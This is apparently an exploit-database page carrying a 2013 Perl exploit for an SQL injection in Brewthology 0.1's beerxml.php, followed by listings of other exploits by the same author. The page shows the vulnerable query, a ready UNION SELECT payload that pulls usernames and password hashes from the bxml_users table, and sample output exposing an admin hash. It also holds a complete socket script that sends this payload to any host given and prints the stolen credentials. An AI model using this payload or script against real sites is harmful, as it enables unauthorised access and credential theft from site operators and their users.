Menu

Search for hundreds of thousands of exploits

"Brewthology 0.1 - SQL Injection"

Author

Exploit author

cr4wl3r

Platform

Exploit platform

php

Release date

Exploit published date

2013-02-26

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#Brewthology 0.1 SQL Injection Exploit
#By cr4wl3r http://bastardlabs.info
#Script: http://sourceforge.net/projects/brewthology/files/brewthology/v0.1%20public%20beta/
#Demo: http://bastardlabs.info/demo/brewthology.png
#Tested: Win 7
#
# Bugs found in beerxml.php
#
# if (isset($_GET['r'])) 
# 	{ 
# 	$recipenum = $_GET['r']; 
# 
# // Pull Data from DB	
#    $recipes = "SELECT * FROM bxml_recipes WHERE reciperecid=$recipenum"; 
#    $recresult = @mysql_query ($recipes); 
#  }
#
# http://bastardlabs/[path]/beerxml.php?r=[SQLi]
# Example: http://bastardlabs/[path]/beerxml.php?r=null%20union%20select%201,2,3,4,5,concat(username,0x3a,userpass),7,8,9,10,11%20from%20bxml_users
#
#
# $ perl brewthology.pl localhost /demo/
# [+] Please Wait ...
#
# [+] Getting Username and Password    [ ok ]
# [+] w00tw00t
# [+] Username | Password --> admin:ab4d8d2a5f480a137067da17100271cd176607a1

#!/usr/bin/perl

use IO::Socket;

$host = $ARGV[0];
$path = $ARGV[1];

if (@ARGV < 2) { 

print qq(
+---------------------------------------------+
|    Brewthology 0.1 SQL Injection Exploit    |
|                                             |
|            coded & exploited by cr4wl3r     |
|                 http://bastardlabs.info/    |
+---------------------------------------------+
                    -=[X]=-
   +---------------------------------------
    Usage :                                
                                           
    perl $0 <host> <path>                  
    ex : perl $0 127.0.0.1 /Brewthology/   
                                           
   +---------------------------------------
);
}

$target = "http://".$host.$path."/beerxml.php?r=null%20union%20select%201,2,3,4,5,concat(username,0x3a,userpass),7,8,9,10,11%20from%20bxml_users";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", 
PeerPort=>"80") || die "[-] Can't connect to Server   [ failed ]\n";
print "[+] Please Wait ...\n";
print $sock "GET $target HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: BastardLabs\n";
print $sock "Host: $host\n";
print $sock "Connection: close\n\n";
sleep 2;
while ($answer = <$sock>) {
if ($answer =~ /<USE>(.*?)<\/USE>/) {
print "\n[+] Getting Username and Password    [ ok ]\n";
sleep 1;
print "[+] w00tw00t\n";
print "[+] Username | Password --> $1\n";
exit();
}
}
print "[-] Exploit Failed !\n";
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2013-12-24 "PHP MBB CMS 004 - Multiple Vulnerabilities" webapps php cr4wl3r
2013-12-12 "KikChat - Local File Inclusion / Remote Code Execution" webapps php cr4wl3r
2013-08-02 "FunGamez - Arbitrary File Upload" webapps php cr4wl3r
2013-02-26 "Brewthology 0.1 - SQL Injection" webapps php cr4wl3r
2013-02-21 "PHPMyRecipes 1.2.2 - 'viewrecipe.php?r_id' SQL Injection" webapps php cr4wl3r
2013-02-21 "Web Cookbook - Multiple Vulnerabilities" webapps php cr4wl3r
2013-02-21 "RTTucson Quotations Database Script - Authentication Bypass" webapps php cr4wl3r
2013-02-14 "Ultra Light Forum - Persistent Cross-Site Scripting" webapps php cr4wl3r
2013-01-09 "Free Blog 1.0 - Multiple Vulnerabilities" webapps php cr4wl3r
2013-01-08 "E Sms Script - Multiple SQL Injections" webapps php cr4wl3r
2012-11-15 "ReciPHP 1.1 - SQL Injection" webapps php cr4wl3r
2012-10-18 "Amateur Photographer's Image Gallery - 'plist.php?albumid' Cross-Site Scripting" webapps php cr4wl3r
2012-10-18 "Amateur Photographer's Image Gallery - 'fullscreen.php?albumid' SQL Injection" webapps php cr4wl3r
2012-10-18 "Amateur Photographer's Image Gallery - 'plist.php?albumid' SQL Injection" webapps php cr4wl3r
2012-10-18 "BSW Gallery - 'uploadpic.php' Arbitrary File Upload" webapps php cr4wl3r
2012-10-18 "Amateur Photographer's Image Gallery - 'force-download.php?File' Information Disclosure" webapps php cr4wl3r
2012-10-17 "Sisfokol 4.0 - Arbitrary File Upload" webapps php cr4wl3r
2011-10-21 "SportsPHool 1.0 - Remote File Inclusion" webapps php cr4wl3r
2011-10-07 "BuzzyWall 1.3.2 - 'resolute.php' Information Disclosure" webapps php cr4wl3r
2010-06-11 "ardeacore 2.2 - Remote File Inclusion" webapps php cr4wl3r
2010-05-21 "Online Job Board - Authentication Bypass" webapps php cr4wl3r
2010-05-21 "Online University - Authentication Bypass" webapps php cr4wl3r
2010-05-03 "Gallo 0.1.0 - Remote File Inclusion" webapps php cr4wl3r
2010-05-02 "Openannuaire Openmairie Annuaire 2.00 - Local File Inclusion / Remote File Inclusion" webapps php cr4wl3r
2010-05-01 "Opencatalogue 1.024 - Local File Inclusion" webapps php cr4wl3r
2010-05-01 "Opencimetiere 2.01 - Multiple Remote File Inclusions" webapps php cr4wl3r
2010-04-29 "Scratcher - SQL Injection / Cross-Site Scripting" webapps php cr4wl3r
2010-04-26 "Opencourrier 2.03beta - Local File Inclusion / Remote File Inclusion" webapps php cr4wl3r
2010-04-26 "OpenCominterne 1.01 - Local File Inclusion" webapps php cr4wl3r
2010-04-24 "Openpresse 1.01 - Local File Inclusion" webapps php cr4wl3r
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.